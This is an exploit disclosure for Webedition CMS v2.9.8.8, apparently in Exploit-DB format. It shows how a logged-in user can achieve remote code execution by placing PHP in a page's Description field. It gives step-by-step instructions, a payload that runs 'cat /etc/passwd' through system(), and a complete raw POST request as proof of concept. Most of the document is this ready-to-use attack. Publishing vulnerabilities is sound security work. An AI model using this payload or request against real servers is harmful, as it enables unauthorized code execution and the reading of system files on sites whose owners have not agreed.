Webedition CMS v2.9.8.8 - Remote Code Execution Exploit

Exploit Title: Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Application: webedition Cms
Version: v2.9.8.8   
Bugs:  RCE
Technology: PHP
Vendor URL: https://www.webedition.org/
Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps
1. Login account
2. Go to New -> Webedition page -> empty page
3. Select php
4. Set as "><?php echo system("cat /etc/passwd");?>  Description area

Poc request: 

POST /webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd HTTP/1.1
Host: localhost
Content-Length: 1621
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300
Connection: close

we_transaction=4fd880c06df5a590754ce5b8738cd0dd&we_003be033b474a5c25132d388906fb4ae_Filename=poc&we_003be033b474a5c25132d388906fb4ae_Extension=.php&wetmp_we_003be033b474a5c25132d388906fb4ae_Extension=&we_003be033b474a5c25132d388906fb4ae_ParentPath=%2F&we_003be033b474a5c25132d388906fb4ae_ParentID=0&yuiAcContentTypeParentPath=&we_003be033b474a5c25132d388906fb4ae_DocType=&we_003be033b474a5c25132d388906fb4ae_TemplateName=%2F&we_003be033b474a5c25132d388906fb4ae_TemplateID=&yuiAcContentTypeTemplate=&we_003be033b474a5c25132d388906fb4ae_IsDynamic=0&we_003be033b474a5c25132d388906fb4ae_IsSearchable=0&we_003be033b474a5c25132d388906fb4ae_InGlossar=0&we_003be033b474a5c25132d388906fb4ae_txt%5BTitle%5D=asdf&we_003be033b474a5c25132d388906fb4ae_txt%5BDescription%5D=%22%3E%3C%3Fphp+echo+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E&we_003be033b474a5c25132d388906fb4ae_txt%5BKeywords%5D=asdf&fold%5B0%5D=0&fold_named%5BPropertyPage_3%5D=0&we_003be033b474a5c25132d388906fb4ae_Language=en_GB&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Bde_DE%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Bde_DE%5D=&yuiAcContentTypeLanguageDocdeDE=&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Ben_GB%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Ben_GB%5D=&yuiAcContentTypeLanguageDocenGB=&fold%5B1%5D=0&fold_named%5BPropertyPage_4%5D=0&we_003be033b474a5c25132d388906fb4ae_CopyID=0&fold%5B2%5D=0&fold_named%5BPropertyPage_6%5D=0&wetmp_003be033b474a5c25132d388906fb4ae_CreatorID=%2Fadmin&we_003be033b474a5c25132d388906fb4ae_CreatorID=1&we_003be033b474a5c25132d388906fb4ae_RestrictOwners=0&we_complete_request=1